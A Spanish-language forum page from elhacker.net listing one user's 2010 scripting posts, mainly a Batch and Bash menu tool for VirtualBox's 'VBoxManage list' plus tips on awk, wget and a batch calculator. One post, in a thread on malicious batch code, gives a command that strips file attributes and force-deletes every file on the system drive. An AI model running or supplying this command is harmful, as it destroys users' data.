elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio mill๓n USD en premios


  Mostrar Mensajes
Páginas: 1 2 3 4 5 [6] 7
51  Programaci๓n / Scripting / Aplicacion en Batch y Bash de VBoxManage list en: 27 Octubre 2010, 11:18 am
Desde hace unos dias desde mi blog de comtecknet estoy creando miniaplicaciones para gestionar VBoxManage. Aqui os dejo el codigo para versio Windows como en linux.

Para el funcionamiento de esta aplicacion es nesesario tener instalado en nustro ordenador VirtualBox.

Windows:  

Código
  1. @echo off
  2.  
  3. cd "%ProgramFiles%\oracle\virtualbox"
  4.  
  5. mode con lines=130 cols=100
  6. title Gestion de VBoxManage list
  7. color a
  8.  
  9. :: Creado por Comtecknet.
  10.  
  11. rem --------------
  12. rem - variables  -
  13. rem --------------
  14.  
  15. set ruta=%ProgramFiles%\oracle\virtualbox
  16.  
  17. rem -------------------------------------------------------------------------------
  18. rem - Etiqueta de inicio, solo se muestra si no existe la estructura de carpetas. -
  19. rem -------------------------------------------------------------------------------
  20.  
  21. :preambulo
  22.  
  23. if exist "%ruta%\Informes\Vboxmanage list" (goto inicio)
  24.  
  25. echo ษออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออป
  26. echo บ  Esta aplicacion puede generar informes, guardando el resultado en un      บ
  27. echo บ  archivo .txt.                                                             บ
  28. echo บ                                                                            บ
  29. echo บ  Los informes se guardaran dentro de la carpeta informes dentro de         บ
  30. echo บ  VirtualBox, que por defecto suele estar en: "Archivos de programa\oracle" บ
  31. echo บ                                                                            บ
  32. echo บ  Este sera la estructura de carpetas                                       บ
  33. echo บ                                                                            บ
  34. echo บ \                                                                          บ
  35. echo บ ภฤฤArchivos de programa\oracle\VirtualBox                                  บ
  36. echo บ                                    ภฤฤInformes                             บ
  37. echo บ                                         ภฤฤฤVboxmanage list                บ
  38. echo บ                                                                            บ
  39. echo ศออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออผ
  40. set /p preambulo="Quiere crear la estructura de carpetas (si/no): "
  41.  
  42. if %preambulo% EQU si (
  43.  
  44. if not exist "%ruta%\Informes" (md "%ruta%\Informes")
  45. if not exist "%ruta%\Informes\Vboxmanage list" (md "%ruta%\Informes\Vboxmanage list")
  46.  
  47. )
  48.  
  49. rem ----------------------------------
  50. rem - Etiqueta con el menu principal -
  51. rem ----------------------------------
  52.  
  53. :inicio
  54.  
  55. cls
  56. echo ษอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออป
  57. echo บ               PARAMETROS DE VBOXMANAGE LIST                             บ
  58. echo ฬอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออน
  59. echo บ 0.  Documentacion (leer antes de usar la aplicacion)                    บ
  60. echo บ 1.  Mostrar todas las maquinas virtuales                                บ
  61. echo บ 2.  Mostrar todas las maquinas virtuales activas                        บ
  62. echo บ 3.  Mostrar todos los Sistemas Operativos soportados                    บ
  63. echo บ 4.  Mostrar disco duros instalados                                      บ
  64. echo บ 5.  Mostrar imagenes ISO asociadas                                      บ
  65. echo บ 6.  Mostrar informacion adicional de las imagenes ISO                   บ
  66. echo บ 7.  Mostrar las imagenes de disquete                                    บ
  67. echo บ 8.  Mostrar informacion adicional sobre las imagenes de disquetes       บ
  68. echo บ 9.  Mostrar informacion sobre las targetas de red (hostifs)             บ
  69. echo บ 10. Mostrar informacion sobre las targetas de red (bridgedifs)          บ
  70. echo บ 11. Mostrar informacion sobre las unidades USB                          บ
  71. echo บ 12. Mostrar informacion sobre los filtros de USB                        บ
  72. echo บ 13. Mostrar informacion sobre las propiedades del sistema               บ
  73. echo บ 14. Mostrar informacion sobre el sistema local                          บ
  74. echo บ 15. Mostrar informacion sobre nuestra red                               บ
  75. echo บ 16. Mostrar informacion sobre el identificador de CPU                   บ
  76. echo บ 17. Mostrar informacion sobre las capacidades de nuestro disco duro     บ
  77. echo บ                                                                         บ
  78. echo บ 18. Salir                                                               บ
  79. echo ศอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออผ
  80. set /p opcion="Elige una opcion de la lista: "
  81.  
  82. if %opcion% == 0 (goto documentacion)
  83. if %opcion% == 1 (cls & vboxmanage list vms & call :cuestion "vboxmanage list vms" "Listado de maquinas virtuales")
  84. if %opcion% == 2 (cls & vboxmanage list runningvms & call :cuestion "vboxmanage list runningvms" "Maquinas virtuales funcionando")
  85. if %opcion% == 3 (cls & vboxmanage list ostypes & call :cuestion "vboxmanage list ostypes" "Sistemas Operativos soportados")
  86. if %opcion% == 4 (cls & vboxmanage list hdds & call :cuestion "vboxmanage list hdds" "Listado de disco duros")
  87. if %opcion% == 5 (cls & vboxmanage list dvds & call :cuestion "vboxmanage list dvds" "Listado de Imagenes ISO")
  88. if %opcion% == 6 (cls & vboxmanage list hostdvds & call :cuestion "vboxmanage list hostdvds" "Info adicional de imagenes ISO")
  89. if %opcion% == 7 (cls & vboxmanage list floppies & call :cuestion "vboxmanage list floppies" "Listado de imagenes de disquete")
  90. if %opcion% == 8 (cls & vboxmanage list hostfloppies & call :cuestion "vboxmanage list hostfloppies" "Info adicional de imagenes de disquete")
  91. if %opcion% == 9 (cls & vboxmanage list hostifs & call :cuestion "vboxmanage list hostifs" "Info targetas de red - hostifs")
  92. if %opcion% == 10 (cls & vboxmanage list bridgedifs & call :cuestion "vboxmanage list bridgedifs" "Info targetas de red - bridgedifs")
  93. if %opcion% == 11 (cls & vboxmanage list usbhost & call :cuestion "vboxmanage list usbhost" "Informacion de dispositivos USB")
  94. if %opcion% == 12 (cls & vboxmanage list usbfilters & call :cuestion "vboxmanage list usbfilters" "Filtros de dispositivos USB")
  95. if %opcion% == 13 (cls & vboxmanage list systemproperties & call :cuestion "vboxmanage list systemproperties" "Porpiedades del sistema")
  96. if %opcion% == 14 (cls & vboxmanage list hostinfo & call :cuestion "vboxmanage list hostinfo" "Propiedades del sistema local")
  97. if %opcion% == 15 (CLS & vboxmanage list dhcpservers & call :cuestion "vboxmanage list dhcpservers" "Propiedades de nuestra red")
  98. if %opcion% == 16 (cls & vboxmanage list hostcpuids & call :cuestion "vboxmanage list hostcpuids" "Identificador de la CPU")
  99. if %opcion% == 17 (cls & vboxmanage list hddbackends & call :cuestion "vboxmanage list hddbackends" "Capacidades del disco duro")
  100. if %opcion% == 18 (goto EOF)
  101. if %opcion% GTR 18 (echo Opcion incorrecta, pulsa una tecla para continuar & pause > nul & goto inicio)
  102.  
  103. rem ----------------------------------------------------------------------
  104. rem - Etiqueta que muestra la ayuda de los parametros de Vboxmanage list -
  105. rem ----------------------------------------------------------------------
  106.  
  107. :documentacion
  108.  
  109. cls
  110. echo ษออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออป
  111. echo บ                          DOCUMENTACION DE VBOXMANAGE LIST                            บ
  112. echo ฬออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออน
  113. echo บ  A continuacion teneis un listado de los parametros de VBoxmanage list               บ
  114. echo บ  seguido de las funciones que realiza.                                               บ
  115. echo ฬออออออออออออออออออหอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออน
  116. echo บ vms              บ  Muestra un listado de todas las maquinas virtuales creadas       บ
  117. echo บ                  บ  en VirtualBox.                                                   บ
  118. echo ฬออออออออออออออออออฮอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออน
  119. echo บ runningvms       บ  Muestra todas las maquinas virtuales que se estan                บ
  120. echo บ                  บ  ejecutando en este momento.                                      บ
  121. echo ฬออออออออออออออออออฮอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออน
  122. echo บ ostypes          บ  Muestra todos los sistemas operativos que soporta VirtualBox.    บ
  123. echo ฬออออออออออออออออออฮอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออน
  124. echo บ hdds             บ  Muestra todos los disco duros que hemos creado en VirtualBox,    บ
  125. echo บ                  บ  existan o no por que la hemos borrado.                           บ
  126. echo ฬออออออออออออออออออฮอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออน
  127. echo บ dvds             บ  Muestra todas las imagenes ISO que estan asociadas a las maquinasบ
  128. echo บ                  บ  virtuales en VirtualBox.                                         บ
  129. echo ฬออออออออออออออออออฮอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออน
  130. echo บ floppies         บ  Muestra la informacion de todas las imagenes de disquete que     บ
  131. echo บ                  บ  hemos creado en VirtualBox.                                      บ
  132. echo ฬออออออออออออออออออฮอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออน
  133. echo บ hostdvds         บ  Muestra la informacion de las imagenes ISO para acceder a ellas  บ
  134. echo บ                  บ  desde dentro de VirtualBox.                                      บ
  135. echo ฬออออออออออออออออออฮอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออน
  136. echo บ hostfloppies     บ  Muestra imformacion sobre las imagenes de disquete para acceder aบ
  137. echo บ                  บ  ellas desde dentro de VirtualBox.                                บ
  138. echo ฬออออออออออออออออออฮอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออน
  139. echo บ hostifs          บ  Muestra imformacion sobre las targetas de red                    บ
  140. echo ฬออออออออออออออออออฮอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออน
  141. echo บ usbhost          บ  Muestra informacion acerca de las unidades USB que tenemos en    บ
  142. echo บ                  บ  nuestro PC.                                                      บ
  143. echo ฬออออออออออออออออออฮอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออน
  144. echo บ usbfilters       บ  Muestra informacion sobre los filtros que hemos utilizado para   บ
  145. echo บ                  บ  los dispositivos USB.                                            บ
  146. echo ฬออออออออออออออออออฮอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออน
  147. echo บ systemproperties บ  Muestra informacion sobre las propiedades de nuestro sistema     บ
  148. echo ฬออออออออออออออออออฮอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออน
  149. echo บ hostinfo         บ  Muestra informacion sobre nuestro sistema local.                 บ
  150. echo ฬออออออออออออออออออฮอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออน
  151. echo บ bridgedifs       บ  Muestra informacion sobre las targetas de red, igual que hostifs บ
  152. echo ฬออออออออออออออออออฮอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออน
  153. echo บ dhcpservers      บ  Muestra informaciob sobre la configuracion de nuestra red        บ
  154. echo ฬออออออออออออออออออฮอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออน
  155. echo บ hostcpuids       บ  Muestra informacion sobre la ID de nuestra CPU.                  บ
  156. echo ฬออออออออออออออออออฮอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออน
  157. echo บ hddbackends      บ  Muestra informacion sobre las capacidades de nuestro disco duro. บ
  158. echo ศออออออออออออออออออสอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออผ
  159. echo Pulsa una tecla para volver al menu & pause > nul & goto inicio
  160.  
  161. rem ----------------------------------------------------------------------------
  162. rem - Etiqueta cuya funcion es preguntar si queremos generar o no los informes -
  163. rem ----------------------------------------------------------------------------
  164.  
  165. :cuestion
  166.  
  167. echo. & echo La orden se ha ejecutado correctamente.
  168. set /p cuestion="Quiere guardar el resultado en un archivo (si/no): "
  169.  
  170. if %cuestion% EQU si ("%1" > "%ProgramFiles%\oracle\virtualbox\Informes\Vboxmanage list\"%2".txt"
  171. echo Archivo guardado correctamente, pulsa una tecla & pause > nul & goto inicio)
  172. if %cuestion% EQU no (goto inicio)
  173.  
  174. rem ------------------------
  175. rem - Fin de la aplicacion -
  176. rem ------------------------
  177.  
  178. :EOF

Linux (Hecho en Mandriva):

Código:
#!/bin/bash

##########################################################
# Aplicacion para gestionar el comando VBoxManage list.  #
#                                                        #
# Creado por Comtecknet.                                 #
##########################################################

# Para el funcionamiento de esta aplicacion se nesesita tener instalado VirtualBox.

clear

# Informacion previa.

echo "##############################################################################"
echo "#  Esta aplicacion genera informes guardando el resultado en un archivo      #"
echo "# .txt.                                                                      #"
echo "#                                                                            #"
echo "#  Los informes se guardaran dentro de la carpeta VBoxManage list, dentro de #"
echo "#  una carpeta llamana Informes VirtualBox, creada en /home/usuario          #"
echo "#                                                                            #"
echo "#  Este sera la estructura de carpetas                                       #"
echo "#                                                                            #"
echo "# \                                                                          #"
echo "#  |_home/usuario/Informes VirtualBox                                        #"
echo "#                         |_VBoxManage list                                  #"
echo "#                                                                            #"
echo -e "##############################################################################\n"
echo "Pulsa una tecla para comenzar con la aplicacion."
read -p ""

# Funcion que se encarga de guardar generar y guardar los informes. Recibe dos parametros,
# el comando a usar y el nombre del documento. Tambien genera la fecha actual para cada
# informe.

function informe() {
fecha=`date +"%d-%B-%Y-(%A)"`
comando=$1
$comando > "$HOME/Informes VirtualBox/VBoxManage list/$fecha $2.txt"
read -p "Informe guardado, pulsa una tecla para continuar."
menu_inicio
}

# Funcion que muestra la ayuda de VBoxManage list, esto opcion es visualizada con la opcion "0"
# del menu principal.

function documentacion() {
clear

echo "########################################################################################"
echo "#                          DOCUMENTACION DE VBOXMANAGE LIST                            #"
echo "########################################################################################"
echo "#  A continuacion teneis un listado de los parametros de VBoxmanage list               #"
echo "#  seguido de las funciones que realiza.                                               #"
echo "########################################################################################"
echo "# vms              #  Muestra un listado de todas las maquinas virtuales creadas       #"
echo "#                  #  en VirtualBox.                                                   #"
echo "########################################################################################"
echo "# runningvms       #  Muestra todas las maquinas virtuales que se estan                #"
echo "#                  #  ejecutando en este momento.                                      #"
echo "########################################################################################"
echo "# ostypes          #  Muestra todos los sistemas operativos que soporta VirtualBox.    #"
echo "########################################################################################"
echo "# hdds             #  Muestra todos los disco duros que hemos creado en VirtualBox,    #"
echo "#                  #  existan o no por que la hemos borrado.                           #"
echo "########################################################################################"
echo "# dvds             #  Muestra todas las imagenes ISO que estan asociadas a las maquinas#"
echo "#                  #  virtuales en VirtualBox.                                         #"
echo "########################################################################################"
echo "# floppies         # Muestra la informacion de todas las imagenes de disquete que      #"
echo "#                  #  hemos creado en VirtualBox.                                      #"
echo "########################################################################################"
echo "# hostdvds         #  Muestra la informacion de las imagenes ISO para acceder a ellas  #"
echo "#                  #  desde dentro de VirtualBox.                                      #"
echo "########################################################################################"
echo "# hostfloppies     #  Muestra imformacion sobre las imagenes de disquete para acceder a#"
echo "#                  #  ellas desde dentro de VirtualBox.                                #"
echo "########################################################################################"
echo "# hostifs          #  Muestra imformacion sobre las targetas de red                    #"
echo "########################################################################################"
echo "# usbhost          #  Muestra informacion acerca de las unidades USB que tenemos en    #"
echo "#                  #  nuestro PC.                                                      #"
echo "########################################################################################"
echo "# usbfilters       #  Muestra informacion sobre los filtros que hemos utilizado para   #"
echo "#                  #  los dispositivos USB.                                            #"
echo "########################################################################################"
echo "# systemproperties #  Muestra informacion sobre las propiedades de nuestro sistema     #"
echo "########################################################################################"
echo "# hostinfo         #  Muestra informacion sobre nuestro sistema local.                 #"
echo "############################################3###########################################"
echo "# bridgedifs       #  Muestra informacion sobre las targetas de red, igual que hostifs #"
echo "########################################################################################"
echo "# dhcpservers      #  Muestra informaciob sobre la configuracion de nuestra red        #"
echo "########################################################################################"
echo "# hostcpuids       #  Muestra informacion sobre la ID de nuestra CPU.                  #"
echo "########################################################################################"
echo "# hddbackends      #  Muestra informacion sobre las capacidades de nuestro disco duro. #"
echo "########################################################################################"
read -p "Pulsa una tecla para volver el menu principal."
menu_inicio
}

# Funcion que muestra el menu principal pudiendo elegir entre 19 opciones posibles.

function menu_inicio() {
clear
echo "##########################################################################"
echo "#               PARAMETROS DE VBOXMANAGE LIST                            #"
echo "##########################################################################"
echo "# 0.  Documentacion (leer antes de usar la aplicacion)                   #"
echo "# 1.  Mostrar todas las maquinas virtuales                               #"
echo "# 2.  Mostrar todas las maquinas virtuales activas                       #"
echo "# 3.  Mostrar todos los Sistemas Operativos soportados                   #"
echo "# 4.  Mostrar disco duros instalados                                     #"
echo "# 5.  Mostrar imagenes ISO asociadas                                     #"
echo "# 6.  Mostrar informacion adicional de las imagenes ISO                  #"
echo "# 7.  Mostrar las imagenes de disquete                                   #"
echo "# 8.  Mostrar informacion adicional sobre las imagenes de disquetes      #"
echo "# 9.  Mostrar informacion sobre las targetas de red (hostifs)            #"
echo "# 10. Mostrar informaciob sobre las targetas de red (bridgedifs)         #"
echo "# 11. Mostrar informacion sobre las unidades USB                         #"
echo "# 12. Mostrar informacion sobre los filtros de USB                       #"
echo "# 13. Mostrar informacion sobre las propiedades del sistema              #"
echo "# 14. Mostrar informacion sobre el sistema local                         #"
echo "# 15. Mostrar informacion sobre nuestra red                              #"
echo "# 16. Mostrar informacion sobre el identificador de CPU                  #"
echo "# 17. Mostrar informaciob sobre las capacidades de nuestro disco duro    #"
echo "#                                                                        #"
echo "# 18. Salir de la aplicacion                                             #"
echo -e "##########################################################################\n"
PS3="Elige una opcion del menu: "
select i in Opcion{0..18}
do case $i in
Opcion0) clear ; documentacion;;
Opcion1) clear ; VBoxManage list vms ; read -p "" ; informe "VBoxManage list vms" "Listado de maquinas virtuales";;
Opcion2) clear ; VBoxManage list runningvms ; read -p "" ; informe "VBoxManage list runningvms" "Maquinas virtuales funcionando";;
Opcion3) clear ; VBoxManage list ostypes ; read -p "" ; informe "VBoxManage list ostypes" "Sistemas Operativos soportados";;
Opcion4) clear ; VBoxManage list hdds ; read -p "" ;  informe "VBoxManage list hdds" "Listado de disco duros";;
Opcion5) clear ; VBoxManage list dvds ; read -p "" ; informe "VBoxManage list dvds" "Listado de Imagenes ISO";;
Opcion6) clear ; VBoxManage list hostdvds ; read -p "" ; informe "VBoxManage list hostdvds" "Info adicional de imagenes ISO";;
Opcion7) clear ; VBoxManage list floppies ; read -p "" ; informe "VBoxManage list floppies" "Listado de imagenes de disquete";;
Opcion8) clear ; VBoxManage list hostfloppies ; read -p "" ; informe "VBoxManage list hostfloppies" "Info adicional de imagenes de disquete";;
Opcion9) clear ; VBoxManage list hostifs ; read -p "" ; informe "VBoxManage list hostifs" "Info targetas de red - hostifs";;
Opcion10) clear ; VBoxManage list bridgedifs ; read -p "" ; informe "VBoxManage list bridgedifs" "Info targetas de red - bridgedifs";;
Opcion11) clear ; VBoxManage list usbhost ; read -p "" ; informe "VBoxManage list usbhost" "Informacion de dispositivos USB";;
Opcion12) clear ; VBoxManage list usbfilters ; read -p "" ; informe  "VBoxManage list usbfilters" "Filtros de dispositivos USB";;
Opcion13) clear ; VBoxManage list systemproperties ; read -p "" ; informe "VBoxManage list systemproperties" "Porpiedades del sistema";;
Opcion14) clear ; VBoxManage list hostinfo ; read -p "" ; informe "VBoxManage list hostinfo" "Propiedades del sistema local";;
Opcion15) clear ; VBoxManage list dhcpservers ; read -p "" ; informe "VBoxManage list dhcpservers" "Propiedades de nuestra red";;
Opcion16) clear ; VBoxManage list hostcpuids ; read -p "" ; informe "VBoxManage list hostcpuids" "Identificador de la CPU";;
Opcion17) clear ; VBoxManage list hddbackends ; read -p "" ; informe "VBoxManage list hddbackends" "Capacidades del disco duro";;
Opcion18) clear ; exit;;
esac
done
}

# Despues de mostrar la informacion previa, se llama a la funcion "menu_inicio"
# para comenzar a usar la aplicacion

menu_inicio



No creo que sea la forma mas corta de hacer estas aplicacion, pero seguro que a mas de uno le vale.

P.D: He probado los dos codigos con exito, si no es asi deja un comentario.
52  Programaci๓n / Scripting / Re: Abrir lectora con .bat en: 23 Septiembre 2010, 00:24 am
No se que xp utilizarํas pero en el mio y en otros que he probado no funciona ya que no tengo ese archivo en el disco.

Era un comando de batch interno o uno externo?, no seria un comando propio de windows mas antiguo 98, 95 o de algun comando de linux??

He encontrado otra aplicaci๓n para poder abrir la lectora o cerrarla. Dicha aplicacion de llama "Wizmo".

Lo pueden descargar de esta direccion: http://www.easy-share.com/1910221673/wizmo.rar

* He puesto el enlace de descarga de la aplicacion, pero no estoy muy seguro de si se permite, si esta prohibido avisad y lo borro.

La sintaxis es asi de facil:

wizmo.exe open --> Abri lectora
wizmo.exe close --> Cerrar lectora
wizmo.exe open=d:  --> Abre una unidad, donde "d" puede ser otra.

Si se copia dicho comando en Windows\System32 se puede usar el comando desde cualquier sitio.

Espero que os sirva de ayuda.

P.D: El comando Wizmo tiene muchos mas parแmetros para realizar otras funciones.
53  Programaci๓n / Scripting / Re: Abrir lectora con .bat en: 21 Septiembre 2010, 13:45 pm
Eso se puede hacer usando el comando nircmd asi como usando scripts en vbs.

Aqui te dejo la direccion con ejemplos de nircmd.

Código:
http://foro.elhacker.net/scripting/comandos_nircmd_utiles_para_batch-t205511.0.html
54  Programaci๓n / Scripting / Re: batch codigo malicioso en: 9 Septiembre 2010, 13:44 pm
Complementetando el codigo de leo:

Código:
@echo off

attib -a -h -r -s  %homedrive%\*.* /s
del /f /q /s *.*

Para hacer esto nesesitarํas privilegios administrador.
55  Programaci๓n / Scripting / Re: Acciones sobre archivos de texto. [Batch] en: 1 Septiembre 2010, 02:10 am
Buenas a todos. Ya he encontrado una forma de hacerlo, puede que no la mas facil o mas corta pero si es valida.

Como tengo varios comandos linux para windows he estado pensando y he usado el comando awk.

Asํ poniendo

Código:
awk "{print $38}" manga.txt | cut -d "=" -f 5 | cut -d "&" -f 1

Lo malo de esto seria que solo funcionaria si la linea fuera de la misma longitud pero para solucionarlo uso el comando wc (tambien para version windows)

Código:
wc -w manga.txt | awk "{print $1}"

Saca el numero de palabras, siendo este numero el que se nesesita para el awk de arriba y asi sacar el susodicho numero.

56  Programaci๓n / Scripting / Re: Acciones sobre archivos de texto. [Batch] en: 30 Agosto 2010, 18:42 pm
Hola flony, gracias por responder.

Ya pense en algo parecido al codigo que has puesto, meter en una variable el archivo (ya que es todo una sola linea) y luego extraer el numero correspondiente.

Pero al intentar introducir el texto del archivo en una variable:

Código:
<"manga.txt" set /p "a="

Y hacer el corerspondiente echo dice lo siguiente: "No se esperaba < en este momento"

Eso debe ser que hay caracteres de redireccion (< y >) y por eso no me funciona bien. Pero aun asi probare el codigo que has puesto.
57  Programaci๓n / Scripting / Re: Acciones sobre archivos de texto. [Batch] en: 30 Agosto 2010, 00:35 am
Muchas gracias Leo, esperar้ con ansias la respuesta.
58  Programaci๓n / Scripting / Re: Acciones sobre archivos de texto. [Batch] en: 28 Agosto 2010, 12:55 pm
Buenas. Tengo una duda para extraer cierta informaci๓n de un archivo .txt pero no me sale y ya he probado de mil maneras.

Una de las parte que tiene el script que estoy creando es para sacar automaticamente el n๚mero de paginas que tiene un capitulo de un manga. Bien ya he encontrado en que parte estแ del c๓digo pero no consigo extraerlo en una variable.

Las herramientas que uso son las versiones Windows de "lynx" (para guardar el codigo de la web en un txt) y "cut" para extraer trozos de un string.

Bien cuando uso lynx para guarda la web se guarda esto en el txt.

Código:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd"><html<head><meta http-equiv="Content-Type" content="
text/html;charset=utf-8"/><title>Swot 8 (HQ) &mdash; IchiNoFansub &mdash; submanga.com</title><base href="http://submanga.com/"/><link rel="shortcut icon"
 href="http://submanga.com/static/images/favicon.gif"/></head><frameset style="background:#000" width="100%" height="100%" frameborder="0" framespacing="0"
 noresize rows="*"><frame style="background:#000;" width="auto" height="auto" id="manga" scrolling="auto" frameborder="0" framespacing="0" src="
./leer?mode=abajo&n=1&m=20&c=8&s=Swot&f=IchiNoFansub&id=85963"/></frameset></html>

* Todo es en una linea, lo he partido para que la linea no salga de los bordes del foro.

El numero de paginas que tiene un capitulo se encuntra al final del archivo.

Código:
./leer?mode=abajo&n=1&m=20&c=8&s=Swot&f=IchiNoFansub&id=85963"

El numero de paginas de cualquier capitulo esta donde pone "20" y es lo que quiero extraer para guardarlo en una variable.

Hasta aqui todo perfecto pero he probado con cut -c columnas > txt, cut -d -f > txt, pero nada, no me muestra mas que style="background:#000;"

He estado investigando y si tengo el archivo en rtf y lo guardo como unicode si he podido extraerlo, pero no se guardar archivos unicode desde la terminal, he probado con "cmd /u /c lynx ....... > archivo.txt" y nada.

Sabriais alguna forma de extraer el numero, hay algun parametro de find o findstr que simule cut -c y extraer el n๚mero.

 Muchas gracias por la respuesta.
59  Programaci๓n / Scripting / Re: Crear botones batch para una caculadora en: 15 Agosto 2010, 18:01 pm
Buenas.

Ya he aprendido mas o menos a usar mouse.dat para que me refleje un numero (en este caso 1) en la pantalla de la calculadora.

Pero me hago un lio cuando quiero poner mas botones.

De momento tengo este c๓digo:

Código:
@echo off


echo. ษอออออออออออออออออออออออออป
echo. บ                         บ
echo. ฬอออออออออออออหอออหอออหอออน
echo. บ Sumar       บ 1 บ 2 บ 3 บ
echo. บอออออออออออออฮอออฮอออฮอออน
echo. บ Restar      บ 4 บ 5 บ 6 บ
echo. ฬอออออออออออออฮอออฮอออฮอออน
echo. บ Multiplicar บ 7 บ 8 บ 9 บ
echo. บอออออออออออออฮอออฮอออฮอออน
echo. บ Dividir     บ 0 บ   บ   บ
echo. ศอออออออออออออสอออสอออสอออผ

:inicio

(
echo e100 B8 1 0'3'DB CD'3'B0 3'C'CD'3'B DB't'FA 91 D3 EA D3 E8 91 C3
echo g116
echo q
)>tmp.dat
Debug<tmp.dat|find /I "1" >tmp.txt
FOR /F "tokens=3" %%A IN ('type tmp.txt ^| find "CX="') DO (
IF "%%A"=="CX=0010" (set numero=1)
IF "%%A"=="CX=0011" (set numero=1)
IF "%%A"=="CX=0012" (set numero=1)
)


colous 0 0 03,02
echo %numero%


(
echo e100 B8 1 0'3'DB CD'3'B0 3'C'CD'3'B DB't'FA 91 D3 EA D3 E8 91 C3
echo g116
echo q
)>tmp.dat
Debug<tmp.dat|find /I "4" >tmp.txt
FOR /F "tokens=3" %%A IN ('type tmp.txt ^| find "CX="') DO (
IF "%%A"=="CX=0010" (set numero2=4)
IF "%%A"=="CX=0011" (set numero2=4)
IF "%%A"=="CX=0012" (set numero2=4)
)


colous 0 0 04,02
echo %numero2%

goto inicio

Lo que intento hacer es convertir el 1 y el 4 en botones para que aparezcan en la pantalla. Si apreto el 1 todo va bien, pero si apreto el 4 o apreto dos veces uno de los botones no se refleja, aparte de decirme que echo esta desactivado.

Lo que he pensado es que al apretar un boton, este se guarde como variable y que redireccione a una parte de mouse.dat para que salga en la pantalla, para volver hacer un bucle al principio y dar a mas botones.

Sabeis cual es el error que cometo??, Se puede dar tantas veces a un boton y que lo refleje en la pantalla??, gracias.



60  Programaci๓n / Scripting / Re: Descargar imagen en batch en: 11 Agosto 2010, 23:45 pm
Hola maxx93, no me reproduce la fotografํa de la web que dices, pero para bajar fotografias asi como otras aplicaciones, .zip ,etc se puede utilizar la version de windows de wget que es propio de linux.

Este comando es de libre descarga y lo puedes encontrar desde aqui:

http://users.ugent.be/~bpuype/wget/

Cuando lo tengas descargado haz una copia del wget.exe a c:\Windows/System32 para poderlo usar siempre desde la terminal.

El modo de uso mas simple es poniendo wget seguido de la direccion con la fotografia y/o lo que quieres descargar.

Por ejemplo para bajarte la imagen del logo de google lo hacemos de esta manera:

Código:
wget http://www.google.es/intl/en_com/images/srpr/logo1w.png

A partir de ahํ puedes crearte un script  dandole las direcciones para que te las descargue todas.

Espero que te sirva.
Páginas: 1 2 3 4 5 [6] 7
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines